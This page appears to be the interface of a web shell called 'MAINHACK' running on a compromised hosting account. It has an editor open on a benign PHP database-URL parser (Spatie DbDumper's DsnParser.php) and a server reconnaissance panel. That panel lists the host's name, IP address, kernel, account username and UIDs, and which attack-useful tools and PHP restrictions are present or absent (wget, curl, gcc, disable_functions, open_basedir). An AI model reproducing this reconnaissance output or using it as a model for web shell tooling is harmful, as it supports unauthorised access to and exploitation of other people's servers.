[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: DsnParser.php
<?php namespace Spatie\DbDumper; use Spatie\DbDumper\Exceptions\InvalidDatabaseUrl; class DsnParser { protected string $dsn; public function __construct(string $dsn) { $this->dsn = $dsn; } public function parse(): array { $rawComponents = $this->parseUrl($this->dsn); $decodedComponents = $this->parseNativeTypes( array_map('rawurldecode', $rawComponents) ); return array_merge( $this->getPrimaryOptions($decodedComponents), $this->getQueryOptions($rawComponents) ); } protected function getPrimaryOptions($url): array { return array_filter([ 'database' => $this->getDatabase($url), 'host' => $url['host'] ?? null, 'port' => $url['port'] ?? null, 'username' => $url['user'] ?? null, 'password' => $url['pass'] ?? null, ], static fn ($value) => ! is_null($value)); } protected function getDatabase($url): ?string { $path = $url['path'] ?? null; if (! $path) { return null; } if ($path === '/') { return null; } if (isset($url['scheme']) && str_contains($url['scheme'], 'sqlite')) { return $path; } return trim($path, '/'); } protected function getQueryOptions($url) { $queryString = $url['query'] ?? null; if (! $queryString) { return []; } $query = []; parse_str($queryString, $query); return $this->parseNativeTypes($query); } protected function parseUrl($url): array { $url = preg_replace('#^(sqlite3?):///#', '$1://null/', $url); $parsedUrl = parse_url($url); if ($parsedUrl === false) { throw InvalidDatabaseUrl::invalidUrl($url); } return $parsedUrl; } protected function parseNativeTypes($value) { if (is_array($value)) { return array_map([$this, 'parseNativeTypes'], $value); } if (! is_string($value)) { return $value; } $parsedValue = json_decode($value, true); if (json_last_error() === JSON_ERROR_NONE) { return $parsedValue; } return $value; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium320.web-hosting.com
Server IP: 66.29.153.54
PHP Version: 8.2.29
Server Software: LiteSpeed
System: Linux premium320.web-hosting.com 4.18.0-553.50.1.lve.el8.x86_64 #1 SMP Thu Apr 17 19:10:24 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.85 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: aoneqssk
User ID (UID): 1285
Group ID (GID): 1290
Script Owner UID: 1285
Current Dir Owner: 1285